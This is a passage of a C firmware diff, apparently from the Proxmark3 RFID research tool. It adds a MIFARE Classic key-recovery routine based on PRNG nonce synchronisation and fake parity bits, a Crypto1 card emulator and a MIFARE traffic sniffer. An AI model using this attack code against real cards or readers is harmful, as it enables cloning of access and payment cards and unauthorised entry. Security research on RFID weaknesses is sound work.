nt_attacked = 0; + byte_t par_list[8] = {0,0,0,0,0,0,0,0}; + byte_t ks_list[8] = {0,0,0,0,0,0,0,0}; + + static uint32_t sync_time; + static uint32_t sync_cycles; + int catch_up_cycles = 0; + int last_catch_up = 0; + uint16_t consecutive_resyncs = 0; + int isOK = 0; + + + + if (first_try) { + StartCountMifare(); + mf_nr_ar3 = 0; + iso14443a_setup(); + while((GetCountMifare() & 0xffff0000) != 0x10000); // wait for counter to reset and "warm up" + sync_time = GetCountMifare() & 0xfffffff8; + sync_cycles = 65536; // theory: Mifare Classic's random generator repeats every 2^16 cycles (and so do the nonces). + nt_attacked = 0; + nt = 0; + par = 0; + } + else { + // we were unsuccessful on a previous call. Try another READER nonce (first 3 parity bits remain the same) + // nt_attacked = prng_successor(nt_attacked, 1); + mf_nr_ar3++; + mf_nr_ar[3] = mf_nr_ar3; + par = par_low; + } LED_A_ON(); LED_B_OFF(); LED_C_OFF(); + + + for(uint16_t i = 0; TRUE; i++) { + + WDT_HIT(); - byte_t nt_diff = 0; - LED_A_OFF(); - byte_t par = 0; - byte_t par_mask = 0xff; - byte_t par_low = 0; - int led_on = TRUE; - - tracing = FALSE; - byte_t nt[4]; - byte_t nt_attacked[4]; - byte_t par_list[8]; - byte_t ks_list[8]; - num_to_bytes(parameter,4,nt_attacked); - - while(TRUE) - { - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - SpinDelay(200); - FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); - - // Test if the action was cancelled - if(BUTTON_PRESS()) { - break; - } + // Test if the action was cancelled + if(BUTTON_PRESS()) { + break; + } + + LED_C_ON(); - if(!iso14443a_select_card(NULL, NULL)) continue; + if(!iso14443a_select_card(uid, NULL, &cuid)) { + if (MF_DBGLEVEL >= 1) Dbprintf("Mifare: Can't select card"); + continue; + } - // Transmit MIFARE_CLASSIC_AUTH - ReaderTransmit(mf_auth,sizeof(mf_auth)); + //keep the card active + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); - // Receive the (16 bit) "random" nonce - if (!ReaderReceive(receivedAnswer)) continue; - memcpy(nt,receivedAnswer,4); + // CodeIso14443aBitsAsReaderPar(mf_auth, sizeof(mf_auth)*8, GetParity(mf_auth, sizeof(mf_auth)*8)); - // Transmit reader nonce and reader answer - ReaderTransmitPar(mf_nr_ar,sizeof(mf_nr_ar),par); + sync_time = (sync_time & 0xfffffff8) + sync_cycles + catch_up_cycles; + catch_up_cycles = 0; - // Receive 4 bit answer - if (ReaderReceive(receivedAnswer)) - { - if (nt_diff == 0) - { - LED_A_ON(); - memcpy(nt_attacked,nt,4); - par_mask = 0xf8; - par_low = par & 0x07; - } + // if we missed the sync time already, advance to the next nonce repeat + while(GetCountMifare() > sync_time) { + sync_time = (sync_time & 0xfffffff8) + sync_cycles; + } - if (memcmp(nt,nt_attacked,4) != 0) continue; + // Transmit MIFARE_CLASSIC_AUTH at synctime. Should result in returning the same tag nonce (== nt_attacked) + ReaderTransmit(mf_auth, sizeof(mf_auth), &sync_time); - led_on = !led_on; - if(led_on) LED_B_ON(); else LED_B_OFF(); - par_list[nt_diff] = par; - ks_list[nt_diff] = receivedAnswer[0]^0x05; + // Receive the (4 Byte) "random" nonce + if (!ReaderReceive(receivedAnswer)) { + if (MF_DBGLEVEL >= 1) Dbprintf("Mifare: Couldn't receive tag nonce"); + continue; + } - // Test if the information is complete - if (nt_diff == 0x07) break; + previous_nt = nt; + nt = bytes_to_num(receivedAnswer, 4); - nt_diff = (nt_diff+1) & 0x07; - mf_nr_ar[3] = nt_diff << 5; - par = par_low; - } else { - if (nt_diff == 0) - { - par++; - } else { - par = (((par>>3)+1) << 3) | par_low; - } - } - } + // Transmit reader nonce with fake par + ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar), par, NULL); + + if (first_try && previous_nt && !nt_attacked) { // we didn't calibrate our clock yet + int nt_distance = dist_nt(previous_nt, nt); + if (nt_distance == 0) { + nt_attacked = nt; + } + else { + if (nt_distance == -99999) { // invalid nonce received, try again + continue; + } + sync_cycles = (sync_cycles - nt_distance); + if (MF_DBGLEVEL >= 3) Dbprintf("calibrating in cycle %d. nt_distance=%d, Sync_cycles: %d\n", i, nt_distance, sync_cycles); + continue; + } + } + + if ((nt != nt_attacked) && nt_attacked) { // we somehow lost sync. Try to catch up again... + catch_up_cycles = -dist_nt(nt_attacked, nt); + if (catch_up_cycles == 99999) { // invalid nonce received. Don't resync on that one. + catch_up_cycles = 0; + continue; + } + if (catch_up_cycles == last_catch_up) { + consecutive_resyncs++; + } + else { + last_catch_up = catch_up_cycles; + consecutive_resyncs = 0; + } + if (consecutive_resyncs < 3) { + if (MF_DBGLEVEL >= 3) Dbprintf("Lost sync in cycle %d. nt_distance=%d. Consecutive Resyncs = %d. Trying one time catch up...\n", i, -catch_up_cycles, consecutive_resyncs); + } + else { + sync_cycles = sync_cycles + catch_up_cycles; + if (MF_DBGLEVEL >= 3) Dbprintf("Lost sync in cycle %d for the fourth time consecutively (nt_distance = %d). Adjusting sync_cycles to %d.\n", i, -catch_up_cycles, sync_cycles); + } + continue; + } + + consecutive_resyncs = 0; + + // Receive answer. This will be a 4 Bit NACK when the 8 parity bits are OK after decoding + if (ReaderReceive(receivedAnswer)) + { + catch_up_cycles = 8; // the PRNG is delayed by 8 cycles due to the NAC (4Bits = 0x05 encrypted) transfer + + if (nt_diff == 0) + { + par_low = par & 0x07; // there is no need to check all parities for other nt_diff. Parity Bits for mf_nr_ar[0..2] won't change + } + + led_on = !led_on; + if(led_on) LED_B_ON(); else LED_B_OFF(); + + par_list[nt_diff] = par; + ks_list[nt_diff] = receivedAnswer[0] ^ 0x05; + + // Test if the information is complete + if (nt_diff == 0x07) { + isOK = 1; + break; + } + + nt_diff = (nt_diff + 1) & 0x07; + mf_nr_ar[3] = (mf_nr_ar[3] & 0x1F) | (nt_diff << 5); + par = par_low; + } else { + if (nt_diff == 0 && first_try) + { + par++; + } else { + par = (((par >> 3) + 1) << 3) | par_low; + } + } + } + + LogTrace((const uint8_t *)&nt, 4, 0, GetParity((const uint8_t *)&nt, 4), TRUE); + LogTrace(par_list, 8, 0, GetParity(par_list, 8), TRUE); + LogTrace(ks_list, 8, 0, GetParity(ks_list, 8), TRUE); + + mf_nr_ar[3] &= 0x1F; + + byte_t buf[28]; + memcpy(buf + 0, uid, 4); + num_to_bytes(nt, 4, buf + 4); + memcpy(buf + 8, par_list, 8); + memcpy(buf + 16, ks_list, 8); + memcpy(buf + 24, mf_nr_ar, 4); + + cmd_send(CMD_ACK,isOK,0,0,buf,28); + + // Thats it... + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LEDsoff(); + tracing = TRUE; +} + +//----------------------------------------------------------------------------- +// MIFARE 1K simulate. +// +//----------------------------------------------------------------------------- +void Mifare1ksim(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain) +{ + int cardSTATE = MFEMUL_NOFIELD; + int _7BUID = 0; + int vHf = 0; // in mV + //int nextCycleTimeout = 0; + int res; +// uint32_t timer = 0; + uint32_t selTimer = 0; + uint32_t authTimer = 0; + uint32_t par = 0; + int len = 0; + uint8_t cardWRBL = 0; + uint8_t cardAUTHSC = 0; + uint8_t cardAUTHKEY = 0xff; // no authentication + //uint32_t cardRn = 0; + uint32_t cardRr = 0; + uint32_t cuid = 0; + //uint32_t rn_enc = 0; + uint32_t ans = 0; + uint32_t cardINTREG = 0; + uint8_t cardINTBLOCK = 0; + struct Crypto1State mpcs = {0, 0}; + struct Crypto1State *pcs; + pcs = &mpcs; + + uint8_t* receivedCmd = eml_get_bigbufptr_recbuf(); + uint8_t *response = eml_get_bigbufptr_sendbuf(); + + static uint8_t rATQA[] = {0x04, 0x00}; // Mifare classic 1k 4BUID + + static uint8_t rUIDBCC1[] = {0xde, 0xad, 0xbe, 0xaf, 0x62}; + static uint8_t rUIDBCC2[] = {0xde, 0xad, 0xbe, 0xaf, 0x62}; // !!! + + static uint8_t rSAK[] = {0x08, 0xb6, 0xdd}; + static uint8_t rSAK1[] = {0x04, 0xda, 0x17}; + + static uint8_t rAUTH_NT[] = {0x01, 0x02, 0x03, 0x04}; +// static uint8_t rAUTH_NT[] = {0x1a, 0xac, 0xff, 0x4f}; + static uint8_t rAUTH_AT[] = {0x00, 0x00, 0x00, 0x00}; + + // clear trace + traceLen = 0; + tracing = true; + + // Authenticate response - nonce + uint32_t nonce = bytes_to_num(rAUTH_NT, 4); + + // get UID from emul memory + emlGetMemBt(receivedCmd, 7, 1); + _7BUID = !(receivedCmd[0] == 0x00); + if (!_7BUID) { // ---------- 4BUID + rATQA[0] = 0x04; + + emlGetMemBt(rUIDBCC1, 0, 4); + rUIDBCC1[4] = rUIDBCC1[0] ^ rUIDBCC1[1] ^ rUIDBCC1[2] ^ rUIDBCC1[3]; + } else { // ---------- 7BUID + rATQA[0] = 0x44; + + rUIDBCC1[0] = 0x88; + emlGetMemBt(&rUIDBCC1[1], 0, 3); + rUIDBCC1[4] = rUIDBCC1[0] ^ rUIDBCC1[1] ^ rUIDBCC1[2] ^ rUIDBCC1[3]; + emlGetMemBt(rUIDBCC2, 3, 4); + rUIDBCC2[4] = rUIDBCC2[0] ^ rUIDBCC2[1] ^ rUIDBCC2[2] ^ rUIDBCC2[3]; + } + +// -------------------------------------- test area + +// -------------------------------------- END test area + // start mkseconds counter + StartCountUS(); + + // We need to listen to the high-frequency, peak-detected path. + SetAdcMuxFor(GPIO_MUXSEL_HIPKD); + FpgaSetupSsc(); + + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_LISTEN); + SpinDelay(200); + + if (MF_DBGLEVEL >= 1) Dbprintf("Started. 7buid=%d", _7BUID); + // calibrate mkseconds counter + GetDeltaCountUS(); + while (true) { + WDT_HIT(); + + if(BUTTON_PRESS()) { + break; + } + + // find reader field + // Vref = 3300mV, and an 10:1 voltage divider on the input + // can measure voltages up to 33000 mV + if (cardSTATE == MFEMUL_NOFIELD) { + vHf = (33000 * AvgAdc(ADC_CHAN_HF)) >> 10; + if (vHf > MF_MINFIELDV) { + cardSTATE_TO_IDLE(); + LED_A_ON(); + } + } + + if (cardSTATE != MFEMUL_NOFIELD) { + res = EmGetCmd(receivedCmd, &len, RECV_CMD_SIZE); // (+ nextCycleTimeout) + if (res == 2) { + cardSTATE = MFEMUL_NOFIELD; + LEDsoff(); + continue; + } + if(res) break; + } + + //nextCycleTimeout = 0; + +// if (len) Dbprintf("len:%d cmd: %02x %02x %02x %02x", len, receivedCmd[0], receivedCmd[1], receivedCmd[2], receivedCmd[3]); + + if (len != 4 && cardSTATE != MFEMUL_NOFIELD) { // len != 4 <---- speed up the code 4 authentication + // REQ or WUP request in ANY state and WUP in HALTED state + if (len == 1 && ((receivedCmd[0] == 0x26 && cardSTATE != MFEMUL_HALTED) || receivedCmd[0] == 0x52)) { + selTimer = GetTickCount(); + EmSendCmdEx(rATQA, sizeof(rATQA), (receivedCmd[0] == 0x52)); + cardSTATE = MFEMUL_SELECT1; + + // init crypto block + LED_B_OFF(); + LED_C_OFF(); + crypto1_destroy(pcs); + cardAUTHKEY = 0xff; + } + } + + switch (cardSTATE) { + case MFEMUL_NOFIELD:{ + break; + } + case MFEMUL_HALTED:{ + break; + } + case MFEMUL_IDLE:{ + break; + } + case MFEMUL_SELECT1:{ + // select all + if (len == 2 && (receivedCmd[0] == 0x93 && receivedCmd[1] == 0x20)) { + EmSendCmd(rUIDBCC1, sizeof(rUIDBCC1)); + break; + } + + // select card + if (len == 9 && + (receivedCmd[0] == 0x93 && receivedCmd[1] == 0x70 && memcmp(&receivedCmd[2], rUIDBCC1, 4) == 0)) { + if (!_7BUID) + EmSendCmd(rSAK, sizeof(rSAK)); + else + EmSendCmd(rSAK1, sizeof(rSAK1)); + + cuid = bytes_to_num(rUIDBCC1, 4); + if (!_7BUID) { + cardSTATE = MFEMUL_WORK; + LED_B_ON(); + if (MF_DBGLEVEL >= 4) Dbprintf("--> WORK. anticol1 time: %d", GetTickCount() - selTimer); + break; + } else { + cardSTATE = MFEMUL_SELECT2; + break; + } + } + + break; + } + case MFEMUL_SELECT2:{ + if (!len) break; + + if (len == 2 && (receivedCmd[0] == 0x95 && receivedCmd[1] == 0x20)) { + EmSendCmd(rUIDBCC2, sizeof(rUIDBCC2)); + break; + } + + // select 2 card + if (len == 9 && + (receivedCmd[0] == 0x95 && receivedCmd[1] == 0x70 && memcmp(&receivedCmd[2], rUIDBCC2, 4) == 0)) { + EmSendCmd(rSAK, sizeof(rSAK)); + + cuid = bytes_to_num(rUIDBCC2, 4); + cardSTATE = MFEMUL_WORK; + LED_B_ON(); + if (MF_DBGLEVEL >= 4) Dbprintf("--> WORK. anticol2 time: %d", GetTickCount() - selTimer); + break; + } + + // i guess there is a command). go into the work state. + if (len != 4) break; + cardSTATE = MFEMUL_WORK; + goto lbWORK; + } + case MFEMUL_AUTH1:{ + if (len == 8) { + // --- crypto + //rn_enc = bytes_to_num(receivedCmd, 4); + //cardRn = rn_enc ^ crypto1_word(pcs, rn_enc , 1); + cardRr = bytes_to_num(&receivedCmd[4], 4) ^ crypto1_word(pcs, 0, 0); + // test if auth OK + if (cardRr != prng_successor(nonce, 64)){ + if (MF_DBGLEVEL >= 4) Dbprintf("AUTH FAILED. cardRr=%08x, succ=%08x", cardRr, prng_successor(nonce, 64)); + cardSTATE_TO_IDLE(); + break; + } + ans = prng_successor(nonce, 96) ^ crypto1_word(pcs, 0, 0); + num_to_bytes(ans, 4, rAUTH_AT); + // --- crypto + EmSendCmd(rAUTH_AT, sizeof(rAUTH_AT)); + cardSTATE = MFEMUL_AUTH2; + } else { + cardSTATE_TO_IDLE(); + } + if (cardSTATE != MFEMUL_AUTH2) break; + } + case MFEMUL_AUTH2:{ + LED_C_ON(); + cardSTATE = MFEMUL_WORK; + if (MF_DBGLEVEL >= 4) Dbprintf("AUTH COMPLETED. sec=%d, key=%d time=%d", cardAUTHSC, cardAUTHKEY, GetTickCount() - authTimer); + break; + } + case MFEMUL_WORK:{ +lbWORK: if (len == 0) break; + + if (cardAUTHKEY == 0xff) { + // first authentication + if (len == 4 && (receivedCmd[0] == 0x60 || receivedCmd[0] == 0x61)) { + authTimer = GetTickCount(); + + cardAUTHSC = receivedCmd[1] / 4; // received block num + cardAUTHKEY = receivedCmd[0] - 0x60; + + // --- crypto + crypto1_create(pcs, emlGetKey(cardAUTHSC, cardAUTHKEY)); + ans = nonce ^ crypto1_word(pcs, cuid ^ nonce, 0); + num_to_bytes(nonce, 4, rAUTH_AT); + EmSendCmd(rAUTH_AT, sizeof(rAUTH_AT)); + // --- crypto + +// last working revision +// EmSendCmd14443aRaw(resp1, resp1Len, 0); +// LogTrace(NULL, 0, GetDeltaCountUS(), 0, true); + + cardSTATE = MFEMUL_AUTH1; + //nextCycleTimeout = 10; + break; + } + } else { + // decrypt seqence + mf_crypto1_decrypt(pcs, receivedCmd, len); + + // nested authentication + if (len == 4 && (receivedCmd[0] == 0x60 || receivedCmd[0] == 0x61)) { + authTimer = GetTickCount(); + + cardAUTHSC = receivedCmd[1] / 4; // received block num + cardAUTHKEY = receivedCmd[0] - 0x60; + + // --- crypto + crypto1_create(pcs, emlGetKey(cardAUTHSC, cardAUTHKEY)); + ans = nonce ^ crypto1_word(pcs, cuid ^ nonce, 0); + num_to_bytes(ans, 4, rAUTH_AT); + EmSendCmd(rAUTH_AT, sizeof(rAUTH_AT)); + // --- crypto + + cardSTATE = MFEMUL_AUTH1; + //nextCycleTimeout = 10; + break; + } + } + + // rule 13 of 7.5.3. in ISO 14443-4. chaining shall be continued + // BUT... ACK --> NACK + if (len == 1 && receivedCmd[0] == CARD_ACK) { + EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); + break; + } + + // rule 12 of 7.5.3. in ISO 14443-4. R(NAK) --> R(ACK) + if (len == 1 && receivedCmd[0] == CARD_NACK_NA) { + EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_ACK)); + break; + } + + // read block + if (len == 4 && receivedCmd[0] == 0x30) { + if (receivedCmd[1] >= 16 * 4 || receivedCmd[1] / 4 != cardAUTHSC) { + EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); + break; + } + emlGetMem(response, receivedCmd[1], 1); + AppendCrc14443a(response, 16); + mf_crypto1_encrypt(pcs, response, 18, &par); + EmSendCmdPar(response, 18, par); + break; + } + + // write block + if (len == 4 && receivedCmd[0] == 0xA0) { + if (receivedCmd[1] >= 16 * 4 || receivedCmd[1] / 4 != cardAUTHSC) { + EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); + break; + } + EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_ACK)); + //nextCycleTimeout = 50; + cardSTATE = MFEMUL_WRITEBL2; + cardWRBL = receivedCmd[1]; + break; + } + + // works with cardINTREG + + // increment, decrement, restore + if (len == 4 && (receivedCmd[0] == 0xC0 || receivedCmd[0] == 0xC1 || receivedCmd[0] == 0xC2)) { + if (receivedCmd[1] >= 16 * 4 || + receivedCmd[1] / 4 != cardAUTHSC || + emlCheckValBl(receivedCmd[1])) { + EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); + break; + } + EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_ACK)); + if (receivedCmd[0] == 0xC1) + cardSTATE = MFEMUL_INTREG_INC; + if (receivedCmd[0] == 0xC0) + cardSTATE = MFEMUL_INTREG_DEC; + if (receivedCmd[0] == 0xC2) + cardSTATE = MFEMUL_INTREG_REST; + cardWRBL = receivedCmd[1]; + + break; + } + - LogTrace(nt,4,0,GetParity(nt,4),TRUE); - LogTrace(par_list,8,0,GetParity(par_list,8),TRUE); - LogTrace(ks_list,8,0,GetParity(ks_list,8),TRUE); + // transfer + if (len == 4 && receivedCmd[0] == 0xB0) { + if (receivedCmd[1] >= 16 * 4 || receivedCmd[1] / 4 != cardAUTHSC) { + EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); + break; + } + + if (emlSetValBl(cardINTREG, cardINTBLOCK, receivedCmd[1])) + EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); + else + EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_ACK)); + + break; + } + + // halt + if (len == 4 && (receivedCmd[0] == 0x50 && receivedCmd[1] == 0x00)) { + LED_B_OFF(); + LED_C_OFF(); + cardSTATE = MFEMUL_HALTED; + if (MF_DBGLEVEL >= 4) Dbprintf("--> HALTED. Selected time: %d ms", GetTickCount() - selTimer); + break; + } + + // command not allowed + if (len == 4) { + EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); + break; + } + + // case break + break; + } + case MFEMUL_WRITEBL2:{ + if (len == 18){ + mf_crypto1_decrypt(pcs, receivedCmd, len); + emlSetMem(receivedCmd, cardWRBL, 1); + EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_ACK)); + cardSTATE = MFEMUL_WORK; + break; + } else { + cardSTATE_TO_IDLE(); + break; + } + break; + } + + case MFEMUL_INTREG_INC:{ + mf_crypto1_decrypt(pcs, receivedCmd, len); + memcpy(&ans, receivedCmd, 4); + if (emlGetValBl(&cardINTREG, &cardINTBLOCK, cardWRBL)) { + EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); + cardSTATE_TO_IDLE(); + break; + } + cardINTREG = cardINTREG + ans; + cardSTATE = MFEMUL_WORK; + break; + } + case MFEMUL_INTREG_DEC:{ + mf_crypto1_decrypt(pcs, receivedCmd, len); + memcpy(&ans, receivedCmd, 4); + if (emlGetValBl(&cardINTREG, &cardINTBLOCK, cardWRBL)) { + EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); + cardSTATE_TO_IDLE(); + break; + } + cardINTREG = cardINTREG - ans; + cardSTATE = MFEMUL_WORK; + break; + } + case MFEMUL_INTREG_REST:{ + mf_crypto1_decrypt(pcs, receivedCmd, len); + memcpy(&ans, receivedCmd, 4); + if (emlGetValBl(&cardINTREG, &cardINTBLOCK, cardWRBL)) { + EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); + cardSTATE_TO_IDLE(); + break; + } + cardSTATE = MFEMUL_WORK; + break; + } + } + } - // Thats it... FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LEDsoff(); - tracing = TRUE; + + // add trace trailer + memset(rAUTH_NT, 0x44, 4); + LogTrace(rAUTH_NT, 4, 0, 0, TRUE); + + if (MF_DBGLEVEL >= 1) Dbprintf("Emulator stopped. Tracing: %d trace length: %d ", tracing, traceLen); +} + +//----------------------------------------------------------------------------- +// MIFARE sniffer. +// +//----------------------------------------------------------------------------- +void RAMFUNC SniffMifare(uint8_t param) { + // param: + // bit 0 - trigger from first card answer + // bit 1 - trigger from first reader 7-bit request + + // C(red) A(yellow) B(green) + LEDsoff(); + // init trace buffer + iso14a_clear_trace(); + + // The command (reader -> tag) that we're receiving. + // The length of a received command will in most cases be no more than 18 bytes. + // So 32 should be enough! + uint8_t *receivedCmd = (((uint8_t *)BigBuf) + RECV_CMD_OFFSET); + // The response (tag -> reader) that we're receiving. + uint8_t *receivedResponse = (((uint8_t *)BigBuf) + RECV_RES_OFFSET); + + // As we receive stuff, we copy it from receivedCmd or receivedResponse + // into trace, along with its length and other annotations. + //uint8_t *trace = (uint8_t *)BigBuf; + + // The DMA buffer, used to stream samples from the FPGA + int8_t *dmaBuf = ((int8_t *)BigBuf) + DMA_BUFFER_OFFSET; + int8_t *data = dmaBuf; + int maxDataLen = 0; + int dataLen = 0; + + // Set up the demodulator for tag -> reader responses. + Demod.output = receivedResponse; + Demod.len = 0; + Demod.state = DEMOD_UNSYNCD; + + // Set up the demodulator for the reader -> tag commands + memset(&Uart, 0, sizeof(Uart)); + Uart.output = receivedCmd; + Uart.byteCntMax = 32; // was 100 (greg)////////////////// + Uart.state = STATE_UNSYNCD; + + // Setup for the DMA. + FpgaSetupSsc(); + FpgaSetupSscDma((uint8_t *)dmaBuf, DMA_BUFFER_SIZE); + + // And put the FPGA in the appropriate mode + // Signal field is off with the appropriate LED + LED_D_OFF(); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_SNIFFER); + SetAdcMuxFor(GPIO_MUXSEL_HIPKD); + + // init sniffer + MfSniffInit(); + int sniffCounter = 0; + + // And now we loop, receiving samples. + while(true) { + if(BUTTON_PRESS()) { + DbpString("cancelled by button"); + goto done; + } + + LED_A_ON(); + WDT_HIT(); + + if (++sniffCounter > 65) { + if (MfSniffSend(2000)) { + FpgaEnableSscDma(); + } + sniffCounter = 0; + } + + int register readBufDataP = data - dmaBuf; + int register dmaBufDataP = DMA_BUFFER_SIZE - AT91C_BASE_PDC_SSC->PDC_RCR; + if (readBufDataP <= dmaBufDataP){ + dataLen = dmaBufDataP - readBufDataP; + } else { + dataLen = DMA_BUFFER_SIZE - readBufDataP + dmaBufDataP + 1; + } + // test for length of buffer + if(dataLen > maxDataLen) { + maxDataLen = dataLen; + if(dataLen > 400) { + Dbprintf("blew circular buffer! dataLen=0x%x", dataLen); + goto done; + } + } + if(dataLen < 1) continue; + + // primary buffer was stopped( <-- we lost data! + if (!AT91C_BASE_PDC_SSC->PDC_RCR) { + AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) dmaBuf; + AT91C_BASE_PDC_SSC->PDC_RCR = DMA_BUFFER_SIZE; + Dbprintf("RxEmpty ERROR!!! data length:%d", dataLen); // temporary + } + // secondary buffer sets as primary, secondary buffer was stopped + if (!AT91C_BASE_PDC_SSC->PDC_RNCR) { + AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t) dmaBuf; + AT91C_BASE_PDC_SSC->PDC_RNCR = DMA_BUFFER_SIZE; + } + + LED_A_OFF(); + + if(MillerDecoding((data[0] & 0xF0) >> 4)) { + LED_C_INV(); + // check - if there is a short 7bit request from reader + if (MfSniffLogic(receivedCmd, Uart.byteCnt, Uart.parityBits, Uart.bitCnt, TRUE)) break; + + /* And ready to receive another command. */ + Uart.state = STATE_UNSYNCD; + + /* And also reset the demod code */ + Demod.state = DEMOD_UNSYNCD; + } + + if(ManchesterDecoding(data[0] & 0x0F)) { + LED_C_INV(); + + if (MfSniffLogic(receivedResponse, Demod.len, Demod.parityBits, Demod.bitCount, FALSE)) break; + + // And ready to receive another response. + memset(&Demod, 0, sizeof(Demod)); + Demod.output = receivedResponse; + Demod.state = DEMOD_UNSYNCD; + + /* And also reset the uart code */ + Uart.state = STATE_UNSYNCD; + } + + data++; + if(data > dmaBuf + DMA_BUFFER_SIZE) { + data = dmaBuf; + } + } // main cycle + + DbpString("COMMAND FINISHED"); + +done: + FpgaDisableSscDma(); + MfSniffEnd(); + + Dbprintf("maxDataLen=%x, Uart.state=%x, Uart.byteCnt=%x Uart.byteCntMax=%x", maxDataLen, Uart.state, Uart.byteCnt, Uart.byteCntMax); + LEDsoff(); }